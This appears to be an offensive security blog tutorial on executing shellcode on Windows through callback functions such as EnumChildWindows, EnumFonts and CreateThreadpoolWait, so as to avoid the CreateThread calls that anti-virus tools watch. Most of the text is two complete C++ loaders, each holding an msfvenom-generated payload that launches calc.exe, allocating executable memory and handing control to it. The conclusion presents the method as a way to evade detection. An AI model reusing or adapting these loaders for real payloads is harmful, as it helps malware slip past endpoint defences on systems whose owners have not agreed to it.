Executing shellcode on a system is normally done by allocating memory with VirtualAlloc, and then using CreateThread() to pass execution to that memory region. Since CreateThread is often heavily monitored by Anti-Virus solutions, it’s worth exploring alternative methods of executing our shellcode.
Callback Functions
Callback functions accept a pointer to user defined code. We can call these functions with a pointer to our shellcode to trigger its execution.
For example, EnumChildWindows accepts the following parameters;
1 2 3 4 5 | BOOL EnumChildWindows( [in, optional] HWND hWndParent, // A handle to the parent window whose child windows are to be enumerated. [in] WNDENUMPROC lpEnumFunc, // A pointer to an application-defined callback function. [in] LPARAM lParam // A application-defined value to be passed to the callback function. ); |
Calling the function with the lpEnumFunc defined will trigger our shellcode.
1 | EnumChildWindows(NULL, (WNDENUMPROC)shellcode, NULL); |
The below application randomly picks a callback function to execute our code. Although this implements 8 different callback functions, there are many others available.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 | #include <Windows.h> #include <stdio.h> #include <iostream> #include <random> int main() { //msfvenom -p windows/x64/exec CMD="calc.exe" EXITFUNC=thread -f c unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" "\x6f\x87\xff\xd5\xbb\xfe\x0e\x32\xea\x41\xba\xa6\x95\xbd" "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; HANDLE buffer = VirtualAlloc(NULL, sizeof (shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy (buffer, shellcode, sizeof (shellcode)); std::random_device rd; std::mt19937 gen(rd()); std::uniform_int_distribution< int > distribution(1, 8); int random_number = distribution(gen); int technique = random_number; switch (technique) { case 1: std::cout << "1 EnumChildWindows\n" ; EnumChildWindows(NULL, (WNDENUMPROC)buffer, NULL); break ; case 2: std::cout << "2 EnumSystemGeoID\n" ; EnumSystemGeoID(GEOCLASS_NATION, 0, (GEO_ENUMPROC)buffer); break ; case 3: std::cout << "3 EnumSystemLanguageGroupsA\n" ; EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA)buffer, LGRPID_SUPPORTED, 0); break ; case 4: std::cout << "4 EnumFonts\n" ; EnumFonts(GetDC(0), ( LPCWSTR )0, (FONTENUMPROC)( char *)buffer, 0); break ; case 5: std::cout << "5 EnumDisplayMonitors\n" ; EnumDisplayMonitors(( HDC )0, (LPCRECT)0, (MONITORENUMPROC)( char *)buffer, ( LPARAM )0); break ; case 6: std::cout << "6 EnumSystemLocalesA\n" ; EnumSystemLocalesA((LOCALE_ENUMPROCA)buffer, NULL); break ; case 7: std::cout << "7 EnumDateFormatsA\n" ; EnumDateFormatsA((DATEFMT_ENUMPROCA)buffer, LOCALE_SYSTEM_DEFAULT, ( DWORD )0); break ; case 8: std::cout << "8 EnumDesktopsW\n" ; EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)buffer, NULL); break ; } } |
CreateThreadpoolWait Execution
This technique has been used in some recent malware campaigns.
A thread pool is a collection of threads that are created to perform tasks concurrently. The CreateThreadpoolWait function is used to create a wait object within a thread pool, and happens to support a callback;
1 2 3 4 5 | PTP_WAIT CreateThreadpoolWait( [in] PTP_WAIT_CALLBACK pfnwa, // The callback function to call when the wait completes or times out. [in, out, optional] PVOID pv, // Optional application-defined data to pass to the callback function. [in, optional] PTP_CALLBACK_ENVIRON pcbe // If this parameter is NULL, the callback executes in the default environment. ); |
To execute shellcode using this method, we need to carry out the following steps:
Create an Event
1 | HANDLE event = CreateEvent(NULL, FALSE, FALSE, NULL); |
- NULL is passed as lpEventAttributes, which means default security attributes are used.
- FALSE is passed as bManualReset, indicating that the event is auto-reset.
- FALSE is passed as bInitialState, meaning the event is not initially signaled.
- NULL is passed as lpName, indicating that the event is created without a name.
Create a ThreadPoolWait Object
Set CreateThreadpoolWait to point to our shellcode (stored in “buffer”).
1 | PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)buffer, NULL, NULL); |
Monitor the Event Object
Use SetThreadpoolWait to monitor the event object. If no signal is issued, the ThreadPoolWait object will be executed after the &ft timer has expired.
1 | SetThreadpoolWait(threadPoolWait, event, &ft); |
This leaves us with the following code.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 | #include <Windows.h> #include <stdio.h> #include <iostream> #include <random> unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" "\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" "\x6f\x87\xff\xd5\xbb\xfe\x0e\x32\xea\x41\xba\xa6\x95\xbd" "\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0" "\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff" "\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; int main() { // Allocate memory as usual HANDLE buffer = VirtualAlloc(NULL, sizeof (shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy (buffer, shellcode, sizeof (shellcode)); // Define our timeout value FILETIME ft; ULARGE_INTEGER uli; GetSystemTimeAsFileTime(&ft); uli.LowPart = ft.dwLowDateTime; uli.HighPart = ft.dwHighDateTime; uli.QuadPart += 5 * 10000000; // 5 seconds ft.dwLowDateTime = uli.LowPart; ft.dwHighDateTime = uli.HighPart; HANDLE event = CreateEvent(NULL, FALSE, FALSE, NULL); // Use below for immediate signalling //HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL); PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)buffer, NULL, NULL); SetThreadpoolWait(threadPoolWait, event, &ft); WaitForSingleObject(event, INFINITE); return 0; } |
In Conclusion
Callback functions can assist in evading detection, particularly when using more obscure function calls. Many more callback functions can be identified by searching Microsoft’s developer documentation.